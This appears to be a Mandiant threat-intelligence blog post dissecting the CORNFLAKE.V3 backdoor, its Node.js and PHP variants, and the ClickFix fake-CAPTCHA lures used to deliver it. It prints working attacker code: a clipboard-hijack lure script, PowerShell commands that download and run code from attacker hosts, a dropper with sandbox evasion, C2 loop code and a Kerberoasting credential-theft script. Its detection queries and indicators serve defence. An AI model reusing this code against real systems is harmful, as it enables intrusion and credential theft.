A Cereal Offender: Analyzing the CORNFLAKE.V3 Backdoor
Written by: Marco Galli
Welcome to the Frontline Bulletin SeriesStraight from Mandiant Threat Defense, the "Frontline Bulletin" series brings you the latest on the most intriguing compromises we are seeing in the wild right now, equipping our community to understand and respond to the most compelling threats we observe. This edition dissects an infection involving two threat groups, UNC5518 and UNC5774, leading to the deployment of CORNFLAKE.V3.
IntroductionSince June 2024, Mandiant Threat Defense has been tracking UNC5518, a financially motivated threat cluster compromising legitimate websites to serve fake CAPTCHA verification pages. This deceptive technique, known as ClickFix, lures website visitors into executing a downloader script which initiates a malware infection chain. UNC5518 appears to partner with clients or affiliates who use access obtained by the group to deploy additional malware.
While the initial compromise and fake CAPTCHA deployment are orchestrated by UNC5518, the payloads served belong to other threat groups. UNC5518 utilizes downloader scripts that function as an access-as-a-service. Several distinct threat actors have been observed leveraging the access provided by UNC5518, including:
-
UNC5774: A financially motivated group known to use CORNFLAKE backdoor to deploy a variety of subsequent payloads.
-
UNC4108: A threat cluster with unknown motivation, observed using PowerShell to deploy various tools like VOLTMARKER and NetSupport RAT, and conducting reconnaissance.
This blog post details a campaign where Mandiant identified UNC5518 deploying a downloader that delivers CORNFLAKE.V3 malware. Mandiant attributes the CORNFLAKE.V3 samples to UNC5774, a distinct financially motivated actor that uses UNC5518's access-as-a-service operation as an entry vector into target environments.
The CORNFLAKE FamilyCORNFLAKE.V3 is a backdoor, observed as two variants, written in JavaScript or PHP (PHP Variant) that retrieves payloads via HTTP. Supported payload types include shell commands, executables and dynamic link libraries (DLLs). Downloaded payloads are written to disk and executed. CORNFLAKE.V3 collects basic system information and sends it to a remote server via HTTP. CORNFLAKE.V3 has also been observed abusing Cloudflare Tunnels to proxy traffic to remote servers.
CORNFLAKE.V3 is an updated version of CORNFLAKE.V2, sharing a significant portion of its codebase. Unlike V2, which functioned solely as a downloader, V3 features host persistence via a registry Run key, and supports additional payload types.
The original CORNFLAKE malware differed significantly from later iterations, as it was written in C. This first variant functioned as a downloader, gathering basic system information and transmitting it via TCP to a remote server. Subsequently, it would download and execute a payload.
Malware Family
CORNFLAKE
CORNFLAKE.V2
CORNFLAKE.V3
Language
C
JS
JS or PHP
Type
Downloader
Downloader
Backdoor
C2 Communication
TCP socket (XOR encoded)
HTTP (XOR encoded)
HTTP (XOR encoded)
Payload types
DLL
DLL,EXE,JS,BAT
DLL,EXE,JS,BAT,PS
Persistence
No
No
Registry Run key
Table 1: Comparison of CORNFLAKE malware variantsFigure 1: The observed CORNFLAKE.V3 (Node.js) attack lifecycle
Initial LeadMandiant Threat Defense responded to suspicious PowerShell activity on a host resulting in the deployment of the CORNFLAKE.V3 backdoor.
Mandiant observed that a PowerShell script was executed via the Run command using the Windows+R shortcut. Evidence of this activity was found in the HKEY_USERS\User\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU registry key, containing the following entry which resulted in the download and execution of the next payload:
Name: a Value: powershell -w h -c "$u=[int64](([datetime]::UtcNow-[datetime]'1970-1-1').TotalSeconds)-band 0xfffffffffffffff0;irm 138.199.161[.]141:8080/$u|iex"\1The RunMRU registry key stores the history of commands entered into the Windows Run (shortcut Windows+R) dialog box.
The execution of malicious scripts using the Windows+R shortcut is often indicative of users who have fallen victim to ClickFix lure pages. Users typically land on such pages as a result of benign browsing leading to interaction with search results that employ SEO poisoning or malicious ads.
Figure 2: Fake CAPTCHA verification (ClickFix) on an attacker-controlled webpage
As seen in the Figure 2, the user was lured into pasting a hidden script into the Windows Run dialog box which was automatically copied to the clipboard by the malicious web page when the user clicked on the image. The webpage accomplished this with the following JavaScript code:
// An image with the reCAPTCHA logo is displayed on the webpage <div class="c" id="j"> <img src="https://www.gstatic[.]com/recaptcha/api2/logo_48.png" alt="reCAPTCHA Logo"> <span>I'm not a robot</span> </div> // The malicious script is saved in variable _0xC var _0xC = "powershell -w h -c "$u=[int64](([datetime]::UtcNow-[datetime]'1970-1-1').TotalSeconds)-band 0xfffffffffffffff0;irm 138.199.161[.]141:8080/$u|iex"\1"; // When the image is clicked, the script is copied to the clipboard document.getElementById("j").onclick = function(){ var ta = document.createElement("textarea"); ta.value = _0xC; document.body.appendChild(ta); ta.select(); document.execCommand("copy");The PowerShell command copied to clipboard is designed to download and execute a script from the remote server 138.199.161[.]141:8080/$u, where $u indicates the UNIX epoch timestamp of the download.
As a result, the PowerShell process connects to the aforementioned IP address and port with URL path 1742214432 (UNIX epoch timestamp), as shown in the following HTTP GET request:
GET /1742214432 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.5486 Host: 138.199.161[.\]141:8080 Connection: Keep-AliveThe following PowerShell dropper script, similar to 1742214432, was recovered from a threat-actor controlled server during the investigation of a similar CORNFLAKE.V3 compromise:
# Get computer manufacturer for evasion check. $Manufacturer = Get-WmiObject Win32_ComputerSystem | Select-Object -ExpandProperty Manufacturer # Exit if running in QEMU (VM detection). if ($Manufacturer -eq "QEMU") { exit 0; } # Get memory info for evasion check. $TotalMemoryGb = (Get-CimInstance Win32_ComputerSystem).TotalPhysicalMemory / 1GB $AvailableMemoryGb = (Get-CimInstance Win32_OperatingSystem).FreePhysicalMemory / 1MB $UsedMemoryGb = $TotalMemoryGb - $AvailableMemoryGb # Exit if total memory is low or calculated "used" memory is low (possible sandbox detection). if ($TotalMemoryGb -lt 4 -or $UsedMemoryGb -lt 1.5) { exit 0 } # Exit if computer name matches default pattern (possible sandbox detection). if ($env:COMPUTERNAME -match "DESKTOP-S*") { exit 0 } # Pause execution briefly. sleep 1 # Define download URL (defanged). $ZipURL = "hxxps://nodejs[.]org/dist/v22.11.0/node-v22.11.0-win-x64.zip" # Define destination folder (AppData). $DestinationFolder = [System.IO.Path]::Combine($env:APPDATA, "") # Define temporary file path for download. $ZipFile = [System.IO.Path]::Combine($env:TEMP, "downloaded.zip") # Download the Node.js zip file. iwr -Uri $ZipURL -OutFile $ZipFile # Try block for file extraction using COM objects. try { $Shell = New-Object -ComObject Shell.Application $ZIP = $Shell.NameSpace($ZipFile) $Destination = $Shell.NameSpace($DestinationFolder) # Copy/extract contents silently. $Destination.CopyHere($ZIP.Items(), 20) } # Exit on any extraction error. catch { exit 0 } # Update destination path to the extracted Node.js folder. $DestinationFolder = [System.IO.Path]::Combine($DestinationFolder, "node-v22.11.0-win-x64") # Base64 encoded payload (large blob containing the CORNFLAKE.V3 sample). $BASE64STRING =<Base-64 encoded CORNFLAKE.V3 sample> # Decode the Base64 string. $BINARYDATA = [Convert]::FromBase64String($BASE64STRING) # Convert decoded bytes to a string (the payload code). $StringData = [System.Text.Encoding]::UTF8.GetString($BINARYDATA) # Path to the extracted node.exe. $Node = [System.IO.Path]::Combine($DestinationFolder, "node.exe") # Start node.exe to execute the decoded string data as JavaScript, hidden. start-process -FilePath "$Node" -ArgumentList "-e `"$StringData`"" -WindowStyle HiddenThe PowerShell dropper’s execution includes multiple steps:
-
Check if it is running inside a virtual machine and, if true, exit
-
Download Node.js via HTTPS from the URL hxxps://nodejs[.]org/dist/v22.11.0/node-v22.11.0-win-x64.zip, write the file to %TEMP%\downloaded.zip and extract its contents to the directory %APPDATA%\node-v22.11.0-win-x64
-
Base64 decode its embedded CORNFLAKE.V3 payload and execute it via the command %APPDATA%\node-v22.11.0-win-x64\node.exe -e “<base64_decoded_CORNFLAKE.v3>”
The PowerShell dropper's anti-vm checks include checking for low system resources (total memory less than 4GB or used memory less than 1.5GB) and if the target system's computer name matches the regular expression DESKTOP-S* or the target system's manufacturer is QEMU.
As a result of the dropper’s execution, a DNS query for the nodejs[.]org domain was made, followed by the download of an archive named downloaded.zip (SHA256: 905373a059aecaf7f48c1ce10ffbd5334457ca00f678747f19db5ea7d256c236). This archive contained the Node.js runtime environment, including its executable file node.exe, which was then extracted to %APPDATA%\node-v22.11.0-win-x64\. The Node.js environment allows for the execution of JavaScript code outside of a web browser.
The extracted %APPDATA%\node-v22.11.0-win-x64\node.exe binary was then launched by Powershell with the -e argument, followed by a large Node.js script, a CORNFLAKE.V3 backdoor sample.
Mandiant identified the following activities originating from the CORNFLAKE.V3 sample:
-
Host and AD-based reconnaissance
-
Persistence via Registry Run key
-
Credential harvesting attempts via Kerberoasting
The following process tree was observed during the investigation:
explorer.exe ↳ c:\windows\system32\windowspowershell\v1.0\powershell.exe -w h -c "$u=[int64](([datetime]::UtcNow-[datetime]'1970-1-1').TotalSeconds)-band 0xfffffffffffffff0;irm 138.199.161[.]141:8080/$u|iex" ↳ c:\users\<user>\appdata\roaming\node-v22.11.0-win-x64\node.exe -e "{CORNFLAKE.V3}" ↳ c:\windows\system32\windowspowershell\v1.0\powershell.exe -c "{Initial check and System Information Collection}" ↳ C:\Windows\System32\ARP.EXE -a ↳ C:\Windows\System32\chcp.com 65001 ↳ C:\Windows\System32\systeminfo.exe ↳ C:\Windows\System32\tasklist.exe /svc ↳ c:\windows\system32\cmd.exe /d /s /c "wmic process where processid=16004 get commandline" ↳ C:\Windows\System32\cmd.exe /d /s /c "{Kerberoasting}" ↳ c:\windows\system32\cmd.exe /d /s /c "{Active Directory Reconnaissance}" ↳ c:\windows\system32\cmd.exe /d /s /c "reg add {ChromeUpdater as Persistence}" Analysis of CORNFLAKE.V3The CORNFLAKE.V3 sample recovered in our investigation was completely unobfuscated, which allowed us to statically analyze it in order to understand its functionality. This section describes the primary functions of the malware.
Initial Check and System Information Collection if (process.argv[1] !== undefined && process.argv[2] === undefined) { const child = spawn(process.argv[0], [process.argv[1], '1'], { detached: true, stdio: 'ignore', windowsHide: true, }); child.unref(); process.exit(0); }When the script initially executes, a check verifies the command line arguments of the node.exe process, keeping in mind that the binary is initially spawned with a single argument (the script itself), this check forces the script to create a child process which has 1 as an additional argument, then the initial node.exe exits. When the child process runs, since it now has three arguments, it will pass this initial check and execute the rest of the script.
This check allows the malware to ensure that only one instance of the script is executing at one time, even if it is launched multiple times due to its persistence mechanisms.
Following this, the malware attempts to collect system information using the following code:
let cmd = execSync('chcp 65001 > $null 2>&1 ; echo \'version: ' + ver + '\' ; if ([Security.Principal.WindowsIdentity]::GetCurrent().Name -match '(?i)SYSTEM') { \'Runas: System\' } elseif (([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole ([Security.Principal.WindowsBuiltInRole]::Administrator)) { \'Runas: Admin\' } else { \'Runas: User\' } ; systeminfo ; echo \'=-=-=-=-=-\' ; tasklist /svc ; echo \'=-=-=-=-=-\' ; Get-Service | Select-Object -Property Name, DisplayName | Format-List ; echo \'=-=-=-=-=-\' ; Get-PSDrive -PSProvider FileSystem | Format-Table -AutoSize ; echo \'=-=-=-=-=-\' ; arp -a', { encoding: 'utf-8', shell: 'powershell.exe', windowsHide: true }); commandRet = Buffer.from(cmd, 'utf-8'); sysinfo = Buffer.concat([numberBufferInit, numberBufferId, commandRet]);This code block executes a series of PowerShell commands (or fallback CMD commands if PowerShell fails) using execSync. It gathers the script's version, user privilege level (System, Admin, User), standard systeminfo output, running tasks/services (tasklist /svc), service details (Get-Service), available drives (Get-PSDrive), and the ARP table (arp -a).
C2 InitializationAfter setting some logical constants and the command and control (C2) server IP address, the malware enters the mainloop function. The script contains support for two separate lists, hosts and hostsIP, which are both used in the C2 communication logic. Initially, the mainloop function attempts to connect to a random host in the hosts list, however, if unable to do so, it will attempt to connect to a random IP address in the hostsIP list instead. Once a connection is successfully established, the main function is called.
// Define lists of hostnames and IP addresses for the command and control server. const hosts = ['159.69.3[.]151']; const hostsIp = ['159.69.3[.]151']; // Variables to manage the connection and retry logic. let useIp = 0; let delay = 1; // Main loop to continuously communicate with the command and control server. async function mainloop() { let toHost = hosts[Math.floor(Math.random() * 1000) % hosts.length]; let toIp = hostsIp[Math.floor(Math.random() * 1000) % hostsIp.length]; while (true) { // Wait for the specified delay. await new Promise((resolve) => setTimeout(resolve, delay)); try { // Attempt to communicate with the command and control server. if (useIp < 200) { await main(toHost, PORT_IP); useIp = 0; } else { await main(toIp, PORT_IP); useIp++; if (useIp >= 210) useIp = 0; } } catch (error) { // Handle errors during communication. console.error('Error with HTTP request:', error.message); toHost = hosts[Math.floor(Math.random() * 1000) % hosts.length]; toIp = hostsIp[Math.floor(Math.random() * 1000) % hostsIp.length]; useIp++; delay = 1000 * 10; continue; } // Set the delay for the next attempt. delay = 1000 * 60 * 5; } } C2 CommunicationThis function, named main, handles the main command and control logic. It takes a host and port number as arguments, and constructs the data to be sent to the C2 server. The malware sends an initial POST request to the path /init1234, which contains information about the infected system and the output of the last executed command; the contents of this request are XOR-encrypted by the enc function.
This request is answered by the C2 with 2 possible responses:
-
ooff - the process exits
-
atst - the atst function is called, which establishes persistence on the host
If the response does not match one of the aforementioned 2 values, the malware interprets the response as a payload and parses the last byte of the response after XOR decrypting it. The following values are accepted by the program:
Command
Type
Description
0
EXE
The received payload is written to %APPDATA%\<random_8_chars>\<random_8_chars>.exe and launched using the Node.js child_process.spawn() function.
1
DLL
The received payload is written to %APPDATA%\<random_8_chars>\<random_8_chars>.dll and launched using the Node.js child_process.spawn() function as an argument to rundll32.exe.
2
JS
The received payload is launched from memory as an argument to node.exe using the Node.js child_process.spawn() function.
3
CMD
The received payload is launched from memory as an argument to cmd.exe using the Node.js child_process.spawn() function. Additionally, the output is saved in the LastCmd variable and sent to the C2 in the next request.
4
Other
The payload is written to %APPDATA%\<random_8_chars>\<random_8_chars>.log.
Table 2: CORNFLAKE.V3 supported payloads PersistenceThe atst function, called by main, attempts to establish persistence on the host by creating a new registry Run key named ChromeUpdater under HKCU\Software\Microsoft\Windows\CurrentVersion\Run.
The malware uses wmic.exe to obtain the command line arguments of the currently running node.exe process. If node.exe was launched with the -e argument, like the malware does initially, the script extracts the argument after -e, which contains the full malicious script. This script is written to the <random_8_chars>.log file in the Node.js installation directory and its path is saved to the path2file variable.
If node.exe was instead launched with a file as an argument (such as during the persistence phase), the path to this file is extracted and saved to the path2file variable.
The path2file variable is then set as an argument to node.exe in the newly created ChromeUpdater registry key. This ensures that the malware executes upon user logon.
Executed PayloadsAs observed in the main function, this sample can receive and execute different types of payloads from its C2 server. This section describes two payloads that were observed in our investigation.
Active Directory ReconnaissanceThe first payload observed on the host was a batch script containing reconnaissance commands. The script initially determines if the host is domain-joined, this condition determines which specific reconnaissance type is executed.
Domain Joined- Query Active Directory Computer Count: Attempts to connect to Active Directory and count the total number of computer objects registered in the domain.
- Display Detailed User Context: Executes whoami /all to reveal the current user's Security Identifier (SID), domain and local group memberships, and assigned security privileges.
- Enumerate Domain Trusts: Executes nltest /domain_trusts to list all domains that the current computer's domain has trust relationships with (both incoming and outgoing).
- List Domain Controllers: Executes nltest /dclist : to find and list the available Domain Controllers (DCs) for the computer's current domain.
- Query Service Principal Names (SPNs): Executes setspn -T <UserDomain> -Q */* to query for all SPNs registered in the user's logon domain, then filters the results (Select-String) to specifically highlight SPNs potentially associated with user accounts (lines starting CN=...Users).
- Enumerate Local Groups: Uses Get-LocalGroup to list all security groups defined locally on the machine.
- Enumerate Local Group Members: For each local group found, uses Get-LocalGroupMember to list the accounts (users or other groups) that are members of that group, displaying their Name and PrincipalSource (e.g., Local, MicrosoftAccount).
The second script executed is a batch script which attempts to harvest credentials via Kerberoasting. The script queries Active Directory for user accounts configured with SPNs (often an indication of a service account using user credentials). For each of these, it requests a Kerberos service ticket from which a password hash is extracted and formatted. These hashes are exfiltrated to the C2 server, where the attacker can attempt to crack them.
$a = 'System.IdentityModel'; $b = [Reflection.Assembly]::LoadWithPartialName($a); $c = New - Object DirectoryServices.DirectorySearcher([ADSI]''); $c.filter = '(&(servicePrincipalName=*)(objectCategory=user))'; $d = $c.Findall(); foreach($e in $d) { $f = $e.GetDirectoryEntry(); $g = $f.samAccountName; if ($g - ne 'krbtgt') { Start - Sleep - Seconds (Get - Random - Minimum 1 - Maximum 11); foreach($h in $f.servicePrincipalName) { $i = $null; try { $i = New - Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken - ArgumentList $h; } catch {} if ($i - ne $null) { $j = $i.GetRequest(); if ($j) { $k = [System.BitConverter]::ToString($j) - replace'-'; [System.Collections.ArrayList]$l = ($k - replace'^(.*?)04820...(.*)', '$2') - Split'A48201'; $l.RemoveAt($l.Count - 1); $m = $l - join'A48201'; try { $m = $m.Insert(32, '$'); $n = '$krb5tgs$23$*' + $g + '/' + $h + '*$' + $m; Write - Host $n; break; } catch {}}}}}} PHP VariantMandiant Threat Defense recently observed a new PHP-based CORNFLAKE.V3 variant which has similar functionality to the previous Node.js based iterations.
This version was dropped by an in-memory script which was executed as a result of interaction with a malicious ClickFix lure page.
The script downloads the PHP package from windows.php[.]net, writes it to disk as php.zip and extracts its contents to the C:\Users\<User>\AppData\Roaming\php\ directory. The CORNFLAKE.V3 PHP sample is contained in the config.cfg file that was also dropped in the same directory and executed with the following command line arguments:
"C:\\Users\<User>\AppData\Roaming\php\php.exe" -d extension=zip -d extension_dir=ext C:\Users\<User>\AppData\Roaming\php\config.cfg 1To maintain persistence on the host, this variant utilizes a registry Run key named after a randomly chosen directory in %APPDATA% or %LOCALAPPDATA% instead of the fixed ChromeUpdater string used in the Node.js version. To communicate with its C2 a unique path is generated for each request, unlike the static /init1234 path:
POST /ue/2&290cd148ed2f4995f099b7370437509b/fTqvlt HTTP/1.1 Host: varying-rentals-calgary-predict.trycloudflare[.]com Connection: close Content-Length: 39185 Content-type: application/octet-streamMuch like the Node.js version, the last byte of the received payload determines the payload type, however, these values differ in the PHP version:
Command
Type
Notes
0
EXE
This decrypted content is saved to a temporary executable file (<rand_8_char>.exe) created in a random directory within the user's %APPDATA% folder, and executed through PowerShell as a hidden process.
1
DLL
The decrypted content is saved as a <rand_8_char>.png file in a temporary directory within the user's %APPDATA% folder. Subsequently, rundll32.exe is invoked to execute the downloaded file.
2
JS
This decrypted content is saved as a <rand_8_char>.jpg file in a temporary directory within the user's %APPDATA% folder. The script attempts to check if Node.js is installed. If Node.js is not found or fails to install from a hardcoded URL (http://nodejs[.]org/dist/v21.7.3/node-v21.7.3-win-x64.zip), an error message is printed. If Node.js is available, the downloaded JavaScript (.jpg) file is executed using node.exe.
3
CMD
This decrypted data is executed as a provided command string via cmd.exe or powershell.exe.
4
ACTIVE
This command reports the active_cnt (stored in the $qRunq global variable) to the C2 server. This likely serves as a heartbeat or activity metric for the implant.
5
AUTORUN
The malware attempts to establish persistence by adding a registry entry in HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run that points to the script's PHP binary and its own path.
6
OFF
This command directly calls exit(0), which terminates the PHP script's execution.
OTHER
If none of the specific commands match, the received data is saved as a .txt file in a temporary directory within the user's %APPDATA% folder.
Table 3: CORNFLAKE.V3 PHP variant supported payloadsThe Javascript payload execution functionality was retained by implementing the download of the Node.js runtime environment inside the JS command. Other notable changes include the change of the DLL and JS payload file extensions into .png and .jpg to evade detection and the addition of the ACTIVE and AUTORUN commands. However, the main functionality of the backdoor remains unchanged despite the transition from Node.js to PHP.
These changes suggest an ongoing effort by the threat actor to refine their malware against evolving security measures.
Executed Payloads Active Directory ReconnaissanceA cmd.exe reconnaissance payload similar to the one encountered in the Node.js variant was received from the C2 server and executed. The script checks if the machine is part of an Active Directory domain and collects the following information using powershell:
Domain Joined-
Total count of computer accounts in AD.
-
Domain trust relationships.
-
List of all Domain Controllers.
-
Members of the "Domain Admins" group.
-
User accounts configured with a Service Principal Name (SPN).
-
All local groups and their members
-
Current User name, SID, local group memberships and security privileges
-
All local groups and their members
-
Current User name, SID, local group memberships and security privileges
WINDYTWIST.SEA Backdoor
Following the interaction with its C2 server, a DLL payload (corresponding to command 1) was received, written to disk as C:\Users\<User>\AppData\Roaming\Shift194340\78G0ZrQi.png and executed using rundll32. This file was a WINDYTWIST.SEA backdoor implant configured with the following C2 servers:
tcp://167.235.235[.]151:443 tcp://128.140.120[.]188:443 tcp://177.136.225[.]135:443This implant is a C version of the Java WINDYTWIST backdoor, which supports relaying TCP traffic, providing a reverse shell, executing commands, and deleting itself. In previous intrusions, Mandiant observed WINDYTWIST.SEA samples attempting to move laterally in the network of the infected machine.
The following process tree was observed during the infection:
explorer.exe ↳ C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe "-c irm dnsmicrosoftds-data[.]com/log/out | clip; & ([scriptblock]::Create((Get-Clipboard) -join (""+[System.Environment]::NewLine)))" ↳ C:\WINDOWS\system32\clip.exe ↳ C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe "-w H -c irm windows-msg-as[.]live/qwV1jxQ" ↳ C:\WINDOWS\system32\systeminfo.exe ↳ C:\Users\<user>\AppData\Roaming\php\php.exe "-d extension=zip -d extension_dir=ext C:\Users\<user>\AppData\Roaming\php\config.cfg 1 {CORNFLAKE.V3}" ↳ cmd.exe /s /c "powershell -c {Multiple PS Commands for Host Reconnaissance}" ↳ cmd.exe /s /c "powershell -c {Multiple PS Commands for Host Reconnaissance}" ↳ cmd.exe /s /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "random_appdata_dirname" /t REG_SZ /d "\"<php_binary_path>" \"<script_path>"" /f" ↳ powershell.exe ↳ C:\Windows\System32\rundll32.exe "{WINDYTWIST.SEA Backdoor}" start ConclusionThis investigation highlights the collaborative nature of modern cyber threats, where UNC5518 leverages compromised websites and deceptive ClickFix lures to gain initial access. This access is then utilized by other actors like UNC5774, who deploy versatile malware such as the CORNFLAKE.V3 backdoor. The subsequent reconnaissance and credential harvesting activities we observed indicate that the attackers intend to move laterally and expand their foothold in the environment.
To mitigate malware execution through ClickFix, organizations should disable the Windows Run dialog box where possible. Regular simulation exercises are crucial to counter this and other social engineering tactics. Furthermore, robust logging and monitoring systems are essential for detecting the execution of subsequent payloads, such as those associated with CORNFLAKE.V3.
AcknowledgementsSpecial thanks to Diana Ion, Yash Gupta, Rufus Brown, Mike Hunhoff, Genwei Jiang, Mon Liclican, Preston Lewis, Steve Sedotto, Elvis Miezitis and Rommel Joven for their valuable contributions to this blog post.
Detection Through Google Security OperationsFor detailed guidance on hunting for this activity using the following queries, and for a forum to engage with our security experts, please visit our companion post on the Google Cloud Community blog.
Mandiant has made the relevant rules available in the Google SecOps Mandiant Frontline Threats curated detections rule set. The activity discussed in the blog post is detected in Google SecOps under the rule names:
-
Powershell Executing NodeJS
-
Powershell Writing To Appdata
-
Suspicious Clipboard Interaction
-
NodeJS Reverse Shell Execution
-
Download to the Windows Public User Directory via PowerShell
-
Run Utility Spawning Suspicious Process
-
WSH Startup Folder LNK Creation
-
Trycloudflare Tunnel Network Connections
The following UDM queries can be used to identify potential compromises within your environment.
Execution of CORNFLAKE.V3 — Node.jsSearch for potential compromise activity where PowerShell is used to launch node.exe from %AppData% path with the -e argument, indicating direct execution of a malicious JavaScript string.
metadata.event_type = "PROCESS_LAUNCH" principal.process.file.full_path = /powershell\.exe/ nocase target.process.file.full_path = /appdata\\roaming\\.*node\.exe/ nocase target.process.command_line = /"?node\.exe"?\s*-e\s*"/ nocase Execution of CORNFLAKE.V3 — PHPSearch for compromise activity where PowerShell is executing php.exe from %AppData% path. This variant is characterized by the use of the -d argument, executing a PHP script without a .php file extension, and passing the argument 1 to the PHP interpreter, indicating covert execution of malicious PHP code.
metadata.event_type = "PROCESS_LAUNCH" principal.process.file.full_path = /powershell\.exe/ nocase target.process.file.full_path = /appdata\\roaming\\.*php\.exe/ nocase target.process.command_line = /"?php\.exe"?\s*-d\s.*1$/ nocase target.process.command_line != /\.php\s*\s*/ nocase CORNFLAKE.V3 Child Process SpawnsSearch suspicious process activity where cmd.exe or powershell.exe are spawned as child processes from node.exe or php.exe when those executables are located in %AppData%.
metadata.event_type = "PROCESS_LAUNCH" principal.process.file.full_path = /appdata\\roaming\\.*node\.exe|appdata\\roaming\\.*php\.exe/ nocase target.process.file.full_path = /powershell\.exe|cmd\.exe/ nocase Suspicious Connections to Node.js/PHP DomainsSearch unusual network connections initiated by powershell.exe or mshta.exe to legitimate Node.js (nodejs.org) or PHP (windows.php.net) infrastructure domains.
metadata.event_type = "NETWORK_CONNECTION" principal.process.file.full_path = /powershell\.exe|mshta\.exe/ nocase target.hostname = /nodejs\.org|windows\.php\.net/ nocase Indicators of Compromise (IOCs)A Google Threat Intelligence (GTI) collection of IOCs is available to registered users.
Host-Based ArtifactsArtifact
Description
SHA-256 Hash
C:\Users\<User>\AppData\Roaming\node-v22.11.0-win-x64\ckw8ua56.log
Copy of the CORNFLAKE.V3 (Node.js) sample used for persistence
000b24076cae8dbb00b46bb59188a0da5a940e325eaac7d86854006ec071ac5b
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\ChromeUpdater
Scheduled task that executes the CORNFLAKE.V3 (Node.js) sample
N/A
C:\Users\<User>\AppData\Roaming\php\config.cfg
CORNFLAKE.V3 (PHP) sample
a2d4e8c3094c959e144f46b16b40ed29cc4636b88616615b69979f0a44f9a2d1
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\iCube
Scheduled task that executes the CORNFLAKE.V3 (PHP) sample
N/A
C:\Users\<User>\AppData\Roaming\Shift194340\78G0ZrQi.png
WINDYTWIST.SEA backdoor sample dropped by CORNFLAKE.V3 (PHP)
14f9fbbf7e82888bdc9c314872bf0509835a464d1f03cd8e1a629d0c4d268b0c
Network-Based ArtifactsIP Address
Description
138.199.161[.]141
IP address associated with UNC5518 used to distribute CORNFLAKE.V3 (Node.js) malware
159.69.3[.]151
CORNFLAKE.V3 (Node.js) C2 server associated with UNC5774
varying-rentals-calgary-predict.trycloudflare[.]com
CORNFLAKE.V3 (PHP) C2 server associated with UNC5774
dnsmicrosoftds-data[.]com
windows-msg-as[.]live
Domains associated with UNC5518 used to distribute CORNFLAKE.V3 (PHP) malware
167.235.235[.]151
128.140.120[.]188
177.136.225[.]135
WINDYTWIST.SEA backdoor C2 server addresses associated with UNC5774